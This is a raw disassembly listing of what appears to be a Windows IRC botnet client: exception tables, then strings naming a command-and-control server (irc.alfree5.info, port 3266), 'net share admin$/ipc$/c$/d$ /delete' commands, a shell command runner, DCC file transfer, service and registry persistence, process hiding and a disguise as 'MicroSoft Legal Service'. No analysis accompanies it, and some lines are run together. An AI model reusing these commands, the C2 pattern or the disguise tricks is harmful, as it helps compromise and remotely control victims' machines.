		dd offset loc_43AB0B
		dd 1, 43AB16h, 2, 43AB21h, 3, 43AB2Fh, 2 dup(0)
dword_440DA0	dd 19930520h, 5, 440DC0h, 5 dup(0)		dd 0FFFFFFFFh, 43AB60h,	0
		dd offset loc_43AB6B
		dd 1, 43AB76h, 2, 43AB81h, 3, 43AB8Fh, 2 dup(0)
dword_440DF0	dd 19930520h, 1, 440E10h, 5 dup(0)		dd 0FFFFFFFFh, 43ABC0h,	2 dup(0)
dword_440E20	dd 19930520h, 1, 440E40h, 5 dup(0)		dd 0FFFFFFFFh, 43ABE0h,	2 dup(0)
dword_440E50	dd 19930520h, 1, 440E70h, 5 dup(0)		dd 0FFFFFFFFh, 43AC00h,	2 dup(0)
dword_440E80	dd 19930520h, 2, 440EA0h, 5 dup(0)		dd 0FFFFFFFFh, 43AC20h,	0
		dd offset loc_43AC2B
		dd 2 dup(0)
dword_440EB8	dd 19930520h, 4, 440ED8h, 5 dup(0)		dd 0FFFFFFFFh, 43AC50h,	0
		dd offset loc_43AC5B
		dd 1, 43AC66h, 2, 43AC71h, 2 dup(0)
dword_440F00	dd 19930520h, 1, 440F20h, 5 dup(0)		dd 0FFFFFFFFh, 43ACA0h,	2 dup(0)
dword_440F30	dd 19930520h, 2, 440F50h, 5 dup(0)		dd 0FFFFFFFFh, 43ACC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 43h, 0
		dd 2 dup(0)
dword_440F68	dd 19930520h, 1, 440F88h, 5 dup(0)		dd 0FFFFFFFFh, 43ACF0h,	2 dup(0)
dword_440F98	dd 19930520h, 1, 440FB8h, 5 dup(0)		dd 0FFFFFFFFh, 43AD10h,	2 dup(0)
dword_440FC8	dd 19930520h, 2, 440FE8h, 5 dup(0)		dd 0FFFFFFFFh, 43AD30h,	0
		dd offset loc_43AD3B
		align 10h
dword_441000	dd 19930520h, 1, 441020h, 5 dup(0)		dd 0FFFFFFFFh, 43AD60h,	2 dup(0)
dword_441030	dd 19930520h, 3, 441050h, 5 dup(0)		dd 0FFFFFFFFh, 43AD80h,	0
		dd offset loc_43AD97
		dd 1, 43AD9Fh, 2 dup(0)
dword_441070	dd 19930520h, 1, 441090h, 5 dup(0)		dd 0FFFFFFFFh, 43ADC0h,	2 dup(0)
dword_4410A0	dd 19930520h, 4, 4410C0h, 5 dup(0)		dd 0FFFFFFFFh, 43ADE8h,	0
		dd offset sub_43ADE0
		dd 0
; ---------------------------------------------------------------------------
		jmp	fword ptr [ebp+20043h]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_43AE07
		dd 2 dup(0)
dword_4410E8	dd 19930520h, 6, 441108h, 5 dup(0)		dd 0FFFFFFFFh, 43AE30h,	0FFFFFFFFh, 43AE38h, 0FFFFFFFFh
		dd 43AE40h, 0FFFFFFFFh,	43AE48h, 0FFFFFFFFh, 43AE50h, 0FFFFFFFFh
		dd 43AE58h, 2 dup(0)
dword_441140	dd 19930520h, 1Ah, 441160h, 5 dup(0)		dd 0FFFFFFFFh, 43AE80h,	0
		dd offset loc_43AE8B
		dd 1, 43AE96h, 2, 43AEA1h, 3, 43AEACh, 4, 43AEB7h, 5, 43AEBFh
		dd 5, 43AECAh, 5, 43AED5h, 5, 43AEE3h, 5, 43AEEEh, 5, 43AEF9h
		dd 5, 43AF07h, 5, 43AF12h, 5, 43AF1Dh, 5, 43AF28h, 5, 43AF36h
		dd 5, 43AF41h, 5, 43AF4Ch, 5, 43AF5Ah, 5, 43AF65h, 5, 43AF70h
		dd 5, 43AF7Eh, 5, 43AF89h, 5, 43AF94h, 5, 43AF9Fh, 6 dup(0)
dword_441248	dd 19930520h, 4, 441268h, 5 dup(0)		dd 0FFFFFFFFh, 43B010h,	0
		dd offset loc_43B018
		dd 1, 43B023h, 2, 43B02Eh, 2 dup(0)
dword_441290	dd 19930520h, 4, 4412B0h, 5 dup(0)		dd 0FFFFFFFFh, 43B050h,	0
		dd offset loc_43B058
		dd 1, 43B063h, 2, 43B06Eh, 2 dup(0)
dword_4412D8	dd 19930520h, 6, 4412F8h, 5 dup(0)		dd 0FFFFFFFFh, 43B090h,	0
		dd offset loc_43B098
		dd 1, 43B0A3h, 2, 43B0AEh, 3, 43B0B9h, 4, 43B0C4h, 2 dup(0)
dword_441330	dd 19930520h, 6, 441350h, 5 dup(0)		dd 0FFFFFFFFh, 43B0F0h,	0
		dd offset loc_43B0F8
		dd 1, 43B103h, 2, 43B10Eh, 3, 43B119h, 4, 43B124h, 2 dup(0)
dword_441388	dd 19930520h, 6, 4413A8h, 5 dup(0)		dd 0FFFFFFFFh, 43B150h,	0FFFFFFFFh, 43B15Bh, 0FFFFFFFFh
		dd 43B166h, 2, 43B171h,	3, 43B17Ch, 2, 43B187h,	2 dup(0)
dword_4413E0	dd 19930520h, 3, 441400h, 5 dup(0)		dd 0FFFFFFFFh, 43B1B0h,	0FFFFFFFFh, 43B1B8h, 0FFFFFFFFh
		dd 43B1C0h, 2 dup(0)
dword_441420	dd 19930520h, 5, 441440h, 5 dup(0)		dd 0FFFFFFFFh, 43B1E0h,	0FFFFFFFFh, 43B1E8h, 0FFFFFFFFh
		dd 43B1F0h, 0FFFFFFFFh,	43B1F8h, 0FFFFFFFFh, 43B200h, 2	dup(0)
dword_441470	dd 19930520h, 0Ch, 441490h, 5 dup(0)		dd 0FFFFFFFFh, 43B220h,	0
		dd offset loc_43B228
		dd 0FFFFFFFFh, 43B230h,	0FFFFFFFFh, 43B238h, 0FFFFFFFFh
		dd 43B240h, 0FFFFFFFFh,	43B248h, 5, 43B250h, 0FFFFFFFFh
		dd 43B258h, 0FFFFFFFFh,	43B260h, 0FFFFFFFFh, 43B268h, 0FFFFFFFFh
		dd 43B270h, 0FFFFFFFFh,	43B278h, 4 dup(0)
		dd 19930520h, 2, 441520h, 1, 441530h, 3	dup(0)
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 441548h, 4	dup(0)
		dd offset loc_41EEDC
		align 10h
dword_441560	dd 19930520h, 0Ah, 441580h, 5 dup(0)		dd 0FFFFFFFFh, 43B2C0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0B2h, 43h, 0
		dd 1, 43B2D6h, 2, 43B2E1h, 3, 43B2ECh, 3, 43B2F7h, 3, 43B302h
		dd 3, 43B30Dh, 3, 43B318h, 3, 43B323h, 4 dup(0)
dword_4415E0	dd 19930520h, 2, 441600h, 5 dup(0)		dd 0FFFFFFFFh, 43B360h,	0
		dd offset loc_43B368
		dd 2 dup(0)
dword_441618	dd 19930520h, 3, 441638h, 5 dup(0)		dd 0FFFFFFFFh, 43B380h,	0FFFFFFFFh, 43B38Bh, 1,	43B396h
		dd 2 dup(0)
dword_441658	dd 19930520h, 1, 441678h, 5 dup(0)		dd 0FFFFFFFFh, 43B3C0h,	2 dup(0)
dword_441688	dd 19930520h, 2, 4416A8h, 5 dup(0)		dd 0FFFFFFFFh, 43B3E0h,	0
		dd offset loc_43B3EB
		align 10h
dword_4416C0	dd 19930520h, 16h, 4416E0h, 5 dup(0)		dd 0FFFFFFFFh, 43B410h,	0
		dd offset loc_43B41B
		dd 0
		dd offset loc_43B423
		dd 0
		dd offset loc_43B42B
		dd 3, 43B433h, 4, 43B43Bh, 0
		dd offset loc_43B443
		dd 6, 43B44Bh, 7, 43B453h, 0
		dd offset loc_43B45B
		dd 9, 43B463h, 0Ah, 43B46Bh, 0
		dd offset loc_43B473
		dd 0Ch,	43B47Bh, 0Dh, 43B483h, 0
		dd offset loc_43B48B
		dd 0Fh,	43B493h, 0
		dd offset loc_43B49B
		dd 11h,	43B4A3h, 0
		dd offset loc_43B4AB
		dd 13h,	43B4B3h, 13h, 43B4BBh, 6 dup(0)
dword_4417A8	dd 19930520h, 1, 4417C8h, 5 dup(0)		dd 0FFFFFFFFh, 43B500h,	2 dup(0)
dword_4417D8	dd 19930520h, 1, 4417F8h, 5 dup(0)		dd 0FFFFFFFFh, 43B530h,	2 dup(0)
dword_441808	dd 19930520h, 5, 441828h, 5 dup(0)		dd 0FFFFFFFFh, 43B560h,	0FFFFFFFFh, 43B568h, 0FFFFFFFFh
		dd 43B570h, 0FFFFFFFFh,	43B578h, 0FFFFFFFFh, 43B580h, 2	dup(0)
dword_441858	dd 19930520h, 0Bh, 441878h, 5 dup(0)		dd 0FFFFFFFFh, 43B5A0h,	0FFFFFFFFh, 43B5ABh, 0FFFFFFFFh
		dd 43B5C1h, 0FFFFFFFFh,	43B5CCh, 0FFFFFFFFh, 43B5D7h, 0FFFFFFFFh
		dd 43B5E2h, 0FFFFFFFFh,	43B5EDh, 0FFFFFFFFh, 43B5F8h, 0FFFFFFFFh
		dd 43B603h, 0FFFFFFFFh,	43B60Eh, 0FFFFFFFFh, 43B5B6h, 4	dup(0)
dword_4418E0	dd 19930520h, 5, 441900h, 5 dup(0)		dd 0FFFFFFFFh, 43B650h,	0FFFFFFFFh, 43B658h, 0FFFFFFFFh
		dd 43B660h, 0FFFFFFFFh,	43B668h, 0FFFFFFFFh, 43B670h, 2	dup(0)
dword_441930	dd 19930520h, 15h, 441950h, 5 dup(0)		dd 0FFFFFFFFh, 43B690h,	0FFFFFFFFh, 43B69Bh, 0FFFFFFFFh
		dd 43B6A3h, 0FFFFFFFFh,	43B6ABh, 0FFFFFFFFh, 43B6B3h, 0FFFFFFFFh
		dd 43B6BBh, 0FFFFFFFFh,	43B6C6h, 0FFFFFFFFh, 43B6CEh, 0FFFFFFFFh
		dd 43B6D6h, 0FFFFFFFFh,	43B6DEh, 0FFFFFFFFh, 43B6E6h, 0FFFFFFFFh
		dd 43B6F1h, 0FFFFFFFFh,	43B6F9h, 0FFFFFFFFh, 43B701h, 0FFFFFFFFh
		dd 43B709h, 0FFFFFFFFh,	43B711h, 0FFFFFFFFh, 43B71Ch, 0FFFFFFFFh
		dd 43B724h, 0FFFFFFFFh,	43B72Ch, 0FFFFFFFFh, 43B734h, 0FFFFFFFFh
		dd 43B73Ch, 6 dup(0)
dword_441A10	dd 19930520h, 1, 441A30h, 5 dup(0)		dd 0FFFFFFFFh, 43B780h,	2 dup(0)
dword_441A40	dd 19930520h, 5, 441A60h, 5 dup(0)		dd 0FFFFFFFFh, 43B7A0h,	0
		dd offset loc_43B7A8
		dd 1, 43B7B3h, 2, 43B7BEh, 3, 43B7C9h, 2 dup(0)
dword_441A90	dd 19930520h, 5, 441AB0h, 5 dup(0)		dd 0FFFFFFFFh, 43B7F0h,	0
		dd offset loc_43B7F8
		dd 1, 43B803h, 2, 43B80Eh, 3, 43B819h, 2 dup(0)
dword_441AE0	dd 19930520h, 1, 441B00h, 5 dup(0)		dd 0FFFFFFFFh, 43B840h,	2 dup(0)
dword_441B10	dd 19930520h, 1, 441B30h, 5 dup(0)		dd 0FFFFFFFFh, 43B860h,	2 dup(0)
dword_441B40	dd 19930520h, 1, 441B60h, 5 dup(0)		dd 0FFFFFFFFh, 43B880h,	2 dup(0)
dword_441B70	dd 19930520h, 1, 441B90h, 5 dup(0)		dd 0FFFFFFFFh, 43B8A0h,	2 dup(0)
dword_441BA0	dd 19930520h, 1, 441BC0h, 5 dup(0)		dd 0FFFFFFFFh, 43B8C0h,	2 dup(0)
dword_441BD0	dd 19930520h, 1, 441BF0h, 5 dup(0)		dd 0FFFFFFFFh, 43B8E0h,	2 dup(0)
dword_441C00	dd 19930520h, 1, 441C20h, 5 dup(0)		dd 0FFFFFFFFh, 43B900h,	2 dup(0)
dword_441C30	dd 19930520h, 1, 441C50h, 5 dup(0)		dd 0FFFFFFFFh, 43B920h,	2 dup(0)
dword_441C60	dd 19930520h, 6, 441C80h, 5 dup(0)		dd 0FFFFFFFFh, 43B940h,	0
		dd offset loc_43B948
		dd 1, 43B953h, 2, 43B95Eh, 3, 43B969h, 4, 43B974h, 2 dup(0)
dword_441CB8	dd 19930520h, 6, 441CD8h, 5 dup(0)		dd 0FFFFFFFFh, 43B9A0h,	0
		dd offset loc_43B9A8
		dd 1, 43B9B3h, 2, 43B9BEh, 3, 43B9C9h, 4, 43B9D4h, 2 dup(0)
dword_441D10	dd 19930520h, 3, 441D30h, 5 dup(0)		dd 0FFFFFFFFh, 43BA00h,	0
		dd offset loc_43BA08
		dd 1, 43BA16h, 2 dup(0)
dword_441D50	dd 19930520h, 16h, 441D70h, 5 dup(0)		dd 0FFFFFFFFh, 43BA40h,	0
		dd offset loc_43BA4B
		dd 1, 43BA56h, 2, 43BA61h, 2, 43BA6Ch, 2, 43BA77h, 2, 43BA82h
		dd 6, 43BA8Dh, 2, 43BA98h, 8, 43BAA3h, 2, 43BAAEh, 0Ah
		dd 43BAB9h, 2, 43BAC4h,	0Ch, 43BACFh, 0Dh, 43BADAh, 0Eh
		dd 43BAE5h, 0Fh, 43BAF0h, 0Fh, 43BAFBh,	0Fh, 43BB06h, 0Fh
		dd 43BB11h, 0Fh, 43BB1Ch, 0Fh, 43BB27h,	6 dup(0)
dword_441E38	dd 19930520h, 1, 441E58h, 5 dup(0)		dd 0FFFFFFFFh, 43BB80h,	2 dup(0)
dword_441E68	dd 19930520h, 1, 441E88h, 5 dup(0)		dd 0FFFFFFFFh, 43BBA0h,	2 dup(0)
dword_441E98	dd 19930520h, 1, 441EB8h, 5 dup(0)		dd 0FFFFFFFFh, 43BBC0h,	2 dup(0)
dword_441EC8	dd 19930520h, 1, 441EE8h, 5 dup(0)		dd 0FFFFFFFFh, 43BBE0h,	2 dup(0)
dword_441EF8	dd 19930520h, 1, 441F18h, 5 dup(0)		dd 0FFFFFFFFh, 43BC00h,	2 dup(0)
dword_441F28	dd 19930520h, 2, 441F48h, 1, 441F58h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 441F70h, 4	dup(0)
		dd offset loc_42AFF4
		dd 2 dup(0)
dword_441F88	dd 19930520h, 2, 441FA8h, 1, 441FB8h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 441FD0h, 4	dup(0)
		dd offset loc_42B0D1
		dd 2 dup(0)
dword_441FE8	dd 19930520h, 3, 442008h, 5 dup(0)		dd 0FFFFFFFFh, 43BC40h,	0
		dd offset loc_43BC48
		dd 1, 43BC50h, 2 dup(0)
dword_442028	dd 19930520h, 1, 442048h, 5 dup(0)		dd 0FFFFFFFFh, 43BC80h,	2 dup(0)
dword_442058	dd 19930520h, 1, 442078h, 5 dup(0)		dd 0FFFFFFFFh, 43BCA0h,	2 dup(0)
dword_442088	dd 19930520h, 1, 4420A8h, 5 dup(0)		dd 0FFFFFFFFh, 43BCC0h,	2 dup(0)
dword_4420B8	dd 19930520h, 1, 4420D8h, 5 dup(0)		dd 0FFFFFFFFh, 43BCE0h,	2 dup(0)
dword_4420E8	dd 19930520h, 1, 442108h, 5 dup(0)		dd 0FFFFFFFFh, 43BD00h,	2 dup(0)
dword_442118	dd 19930520h, 6, 442138h, 5 dup(0)		dd 0FFFFFFFFh, 43BD20h,	0FFFFFFFFh, 43BD28h, 0FFFFFFFFh
		dd 43BD30h, 0FFFFFFFFh,	43BD38h, 0FFFFFFFFh, 43BD40h, 0FFFFFFFFh
		dd 43BD48h, 2 dup(0)
dword_442170	dd 19930520h, 16h, 442190h, 5 dup(0)		dd 0FFFFFFFFh, 43BD70h,	0FFFFFFFFh, 43BD7Bh, 0FFFFFFFFh
		dd 43BD83h, 0FFFFFFFFh,	43BD8Bh, 0FFFFFFFFh, 43BD93h, 0FFFFFFFFh
		dd 43BD9Eh, 0FFFFFFFFh,	43BDA6h, 0FFFFFFFFh, 43BDAEh, 0FFFFFFFFh
		dd 43BDB6h, 0FFFFFFFFh,	43BDC1h, 0FFFFFFFFh, 43BDC9h, 0FFFFFFFFh
		dd 43BDD1h, 0FFFFFFFFh,	43BDDCh, 0FFFFFFFFh, 43BDE4h, 0Dh
		dd 43BDECh, 0Eh, 43BDF4h, 0Eh, 43BDFCh,	0Eh, 43BE04h, 0Eh
		dd 43BE0Ch, 12h, 43BE14h, 13h, 43BE1Ch,	0Eh, 43BE1Ch, 6	dup(0)
dword_442258	dd 19930520h, 2, 442278h, 5 dup(0)		dd 0FFFFFFFFh, 43BE60h,	0FFFFFFFFh, 43BE68h, 2 dup(0)
dword_442290	dd 19930520h, 2, 4422B0h, 5 dup(0)		dd 0FFFFFFFFh, 43BE80h,	0
		dd offset loc_43BE8B
		dd 2 dup(0)
dword_4422C8	dd 19930520h, 1, 4422E8h, 5 dup(0)dword_4422E8	dd 0FFFFFFFFh, 43BEB0h,	2 dup(0)dword_4422F8	dd 19930520h, 2, 442318h, 5 dup(0)		dd 0FFFFFFFFh, 43BED0h,	0FFFFFFFFh, 43BED8h, 2 dup(0)
dword_442330	dd 19930520h, 0Ah, 442350h, 5 dup(0)		dd 0FFFFFFFFh, 43BEF0h,	0FFFFFFFFh, 43BEFBh, 0FFFFFFFFh
		dd 43BF06h, 0FFFFFFFFh,	43BF11h, 0FFFFFFFFh, 43BF1Ch, 0FFFFFFFFh
		dd 43BF27h, 0FFFFFFFFh,	43BF32h, 0FFFFFFFFh, 43BF3Dh, 0FFFFFFFFh
		dd 43BF48h, 0FFFFFFFFh,	43BF53h, 359h dup(0)
		dd offset aRrrrrrrrrrrrrr+1Fh
		dd 106h	dup(0)
aABCDEFGHIJKLMN	db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G'
					; DATA XREF: sub_4034E0+7Fo
		db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|'
		db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0
		align 4
		dd 8 dup(0)
asc_4435EC:				; DATA XREF: sub_4034E0+66o
					; sub_40FFE0:loc_4108BEo ...
		unicode	0, <|>,0
aS		db '%s',0               ; DATA XREF: sub_404C70+86Fo
					; sub_404C70+AEBo ...
		align 4
aSS_0		db '%s %s',0Dh,0Ah,0    ; DATA XREF: sub_404C70+82Bo
					; sub_404C70+B58o ...
		align 10h
asc_443600:				; DATA XREF: sub_404640:loc_40471Fo
					; sub_404640+1EDo ...
		unicode	0, < >,0
aO		db ' -o',0              ; DATA XREF: sub_404640+75o
					; sub_40FFE0:loc_4109C9o ...
aNetShareAdminD	db 'net share admin$ /delete /y',0
		dd 2 dup(0)
aNetShareIpcDel	db 'net share ipc$ /delete /y',0
		align 4
		dd 0
aNetShareDDelet	db 'net share d$ /delete /y',0
		align 8
aNetShareCDelet	db 'net share c$ /delete /y',0
		dd 0
dword_443684	dd 255C7325h, 73h					; sub_40CFF0+DEo ...
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404C70+D72o
		align 8
aN:					; DATA XREF: sub_404C70+D1Do
		unicode	0, <N>,0
aExecutedS_	db 'Executed: %s.',0    ; DATA XREF: sub_404C70+971o
		align 4
aResolve_errorS	db 'resolve.error %s.',0 ; DATA XREF: sub_404C70+75Co
		align 10h
		dd 0
aSS_1		db '%s -> %s',0         ; DATA XREF: sub_404C70+6CFo
		align 10h
aSResolvedS	db '%s resolved %s',0   ; DATA XREF: sub_404C70+610o
		align 10h
		dd 0
aOpen		db 'open',0             ; DATA XREF: sub_404C70+444o
					; sub_41C0E0+Eo
		align 4
aExec_error	db 'exec.error',0       ; DATA XREF: sub_404C70+1A3o
					; sub_404C70+9ABo ...
		align 4
		dd 0
aUpDdDhDm	db 'up: %dd %dh %dm',0  ; DATA XREF: sub_4066E0+C3o
		align 10h
aCpuDmhz_Memory	db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti'
					; DATA XREF: sub_406890+20Fo
		db 'me: %dd %dh %dm box: %s. user: %s.',0
		dd 5 dup(0)
aSS_2		db '%s [%s]',0          ; DATA XREF: sub_406890+125o
		dd 0
a???		db '???',0              ; DATA XREF: sub_406890:loc_40698Bo
a2003		db '2003',0             ; DATA XREF: sub_406890+F4o
		align 10h
aXp		db 'XP',0               ; DATA XREF: sub_406890+EAo
		align 4
a2000		db '2000',0             ; DATA XREF: sub_406890+DEo
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_406890+C7o
		align 10h
a98		db '98',0               ; DATA XREF: sub_406890+BBo
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_406890+AFo
		align 4
a95		db '95',0               ; DATA XREF: sub_406890+9Co
		align 4
aBai		db '-bai',0             ; DATA XREF: ___:loc_406DEDo
					; ___:00406E35o
		align 4
aNetsvcs	db '-netsvcs',0         ; DATA XREF: ___:loc_406DB0o
					; sub_40ECB0+88o
		align 10h
aUpdate		db '-update',0          ; DATA XREF: ___:00406D73o
		dd 0
dword_4437EC	dd 6265642Dh, 6775hdword_4437F4	dd 6425h						; ___:0040874Eo ...
dword_4437F8	dd 2Eh							; ___:0041B28Ao ...
aMicrosoftLegal	db 'MicroSoft Legal Service',0 ; DATA XREF: sub_407790+403o
		align 8
asc_443818:				; DATA XREF: sub_407790+3F2o
		unicode	0, <X>,0
aAdmin_com	db 'admin.com',0        ; DATA XREF: sub_407790+3E1o
		align 4
aSet		db 'set',0              ; DATA XREF: sub_407790+359o
aF_0		db 'F-',0               ; DATA XREF: sub_407790+348o
		align 10h
aSrb0ty		db 'Srb0ty',0           ; DATA XREF: sub_407790+337o
		align 4
aSrb0ty_exe	db 'Srb0ty.exe',0       ; DATA XREF: sub_407790+326o
		align 8
aF_1:					; DATA XREF: sub_407790+318o
		unicode	0, <f>,0
aFor		db '##for',0            ; DATA XREF: sub_407790+307o
		align 4
aFor_0		db '##for##',0          ; DATA XREF: sub_407790+2F6o
		align 10h
a3266		db '3266',0             ; DATA XREF: sub_407790+29Bo
		align 4
aIrc_alfree5_in	db 'irc.alfree5.info',0 ; DATA XREF: sub_407790+283o
		align 10h
off_443880	dd offset off_43E1D4	; DATA XREF: ___:0043F014o
		align 8
a_?avexception@	db '.?AVexception@@',0
		align 10h
off_4438A0	dd offset off_43E1D4	; DATA XREF: ___:0043F034o
		align 8
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 10h
		dd 2 dup(0)
off_4438C8	dd offset off_43E1D4	; DATA XREF: ___:0043F054o
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
aInvalidVectorT	db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409610+21o
					; ___:0040AA01o
		dd 2 dup(0)
aTrue		db 'true',0             ; DATA XREF: sub_40B710+3Fo
					; sub_40B790+43o ...
		align 4
aF		db '%f',0               ; DATA XREF: ___:0040B82Fo
		align 10h
aFalse		db 'false',0            ; DATA XREF: ___:0040B8D4o
		align 4
aSSWasS		db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BBEAo
		align 10h
		dd 0
aSS_5		db '%s = "%s"',0        ; DATA XREF: ___:0040BB07o
		align 10h
aDSSS		db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040BA41o
		dd 0
aCvar		db '(cvar)',0           ; DATA XREF: ___:0040B9B4o
		align 4
aDccSocketError	db 'dcc: socket error',0 ; DATA XREF: sub_40C490+52Ao
		align 4
		dd 0
aDccCompleteToS	db 'dcc: complete to %s, file: %s, (%d bytes)',0
					; DATA XREF: sub_40C490+48Ao
		align 10h
aDccUnableToOpe	db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C490+377o
		align 10h
aDccTimeout	db 'dcc: timeout',0     ; DATA XREF: sub_40C490+327o
		align 10h
dword_4439F0	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40C490+296o
		dd 169h, 0
aDccFileDoesn_0	db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C490+230o
		align 4
		dd 0
aDccFileDoesnTE	db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C490+218o
		align 8
aDccFailedToOpe	db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C490+1BBo
		align 8
aDccFailedToBin	db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C490+110o
		align 8
aDccFailedToCre	db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C490+B8o
		align 10h
aFilesFoundD	db 'Files Found: %d',0  ; DATA XREF: sub_40CC40+1B1o
		dd 0
asc_443AC4:				; DATA XREF: sub_40CC40+113o
					; sub_4201A0+100o
		unicode	0, <\>,0
aFoundSS	db 'Found: %s\%s',0     ; DATA XREF: sub_40CFF0+115o
		align 4
aS_1		db '%s\*',0             ; DATA XREF: sub_40CFF0+1Fo
		align 10h
aExplorer_exe	db '\explorer.exe',0    ; DATA XREF: ___:0040D509o
		align 10h
aBai_0		db ' -bai ',0
		align 4
aSCS		db '%s%c%s',0
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40D610+D1o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40D610+C4o
		align 10h
		dd 0
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D610+B7o
		align 10h
		dd 0
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D610+AFo
		align 10h
aKernel32_dll_0	db 'kernel32.dll',0     ; DATA XREF: sub_40D610+98o
		align 10h
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DBD0+4D3o
		align 4
		dd 0
aSSSSSSSSSS	db '%s',0Dh,0Ah         ; DATA XREF: sub_40DBD0+37Co
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah,0
		align 4
		dd 2 dup(0)
aSS_4		db '"%s" %s',0          ; DATA XREF: sub_40EDF0+6Ao
		align 8
aServicesactive	db 'ServicesActive',0   ; DATA XREF: sub_40EDF0+21o
					; sub_40F010+Ao ...
		align 4
		dd 0
aServDelS_	db 'serv(del) "%s".',0  ; DATA XREF: ___:0040F4C1o
		align 10h
aServAddSAsSS_	db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F404o
		align 10h
		dd 0
aRegDelS_	db 'reg(del) "%s".',0   ; DATA XREF: ___:0040F309o
		align 8
aRegAddSAsS_	db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F25Do
		align 10h
		dd 0
asc_443C44	db ' :',0               ; DATA XREF: sub_40FFE0+E2Bo
					; sub_40FFE0+1118o ...
		align 4
asc_443C48:				; DATA XREF: sub_40FFE0+CACo
					; sub_40FFE0+D15o ...
		unicode	0, <!>,0
aN_0		db ' -n',0              ; DATA XREF: sub_40FFE0:loc_4109A8o
					; sub_40FFE0:loc_410C37o
aS_2		db ' -s',0              ; DATA XREF: sub_40FFE0:loc_41097Fo
					; sub_40FFE0:loc_410C16o
asc_443C54:				; DATA XREF: sub_40FFE0+871o
					; sub_40FFE0:loc_410C58o ...
		unicode	0, <:>,0
a@:					; DATA XREF: sub_40FFE0+7CCo
					; sub_40FFE0+D2Do ...
		unicode	0, <@>,0
aSSS_0		db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40FFE0+65Do
					; sub_40FFE0+732o ...
		align 4
		dd 0
aSSSS00S	db '%s %s',0Dh,0Ah      ; DATA XREF: sub_40FFE0+355o
		db '%s %s 0 0 :%s',0Dh,0Ah,0
		align 8
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40FFE0+2C4o
					; sub_412730+91o ...
		align 8
aSSSS		db '%s %s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_412060+4E3o
		align 4
aS_3		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_412060+386o
					; sub_42D240+71o
		align 10h
aSSS_1		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_412060+CBo
					; sub_4129F0+8Fo
		align 10h
aPublic		db '[PUBLIC]',0         ; DATA XREF: sub_412730:loc_41283Bo
		align 4
aPrivate	db '[PRIVATE]',0        ; DATA XREF: sub_412730+104o
		align 4
a_		db '. ',0               ; DATA XREF: sub_412730+CAo
					; sub_412730+E5o
		align 4
aLan		db 'lan: ',0            ; DATA XREF: sub_412730+AEo
		align 4
aUptime		db 'uptime',0           ; DATA XREF: ___:loc_412FA7o
		align 4
aHost		db 'host',0             ; DATA XREF: ___:loc_412F54o
		align 4
aId		db 'id',0               ; DATA XREF: ___:loc_412EFAo
		align 4
asc_443CF8:				; DATA XREF: ___:loc_412EE3o
		dw 3Ch
		unicode	0, <>,0
asc_443CFC:				; DATA XREF: ___:loc_412ECCo
		dw 3Eh
		unicode	0, <>,0
asc_443D00	db '==',0               ; DATA XREF: ___:loc_412EB5o
		align 4
asc_443D04	db '!=',0               ; DATA XREF: ___:00412EA1o
		align 4
a2_2x		db '%2.2X',0            ; DATA XREF: sub_413860+B7o
		align 10h
aSS_6		db '%s: %s',0           ; DATA XREF: sub_419370+30Fo
		align 4
aSD_0		db '%s: %d',0           ; DATA XREF: sub_419370+2E7o
		align 10h
aSD_1		db '%s:%d',0            ; DATA XREF: sub_419370+272o
					; sub_419370+29Bo
		align 4
aListening	db 'listening',0        ; DATA XREF: sub_419370+210o
		align 4
aEstablished	db 'established',0      ; DATA XREF: sub_419370+205o
		dd 0
off_443D44	dd offset dword_504354	; DATA XREF: sub_419370+140o
					; ___:0042B3A2o ...
dword_443D48	dd 2D464544h, 504354h, 0					; sub_419370+12Eo
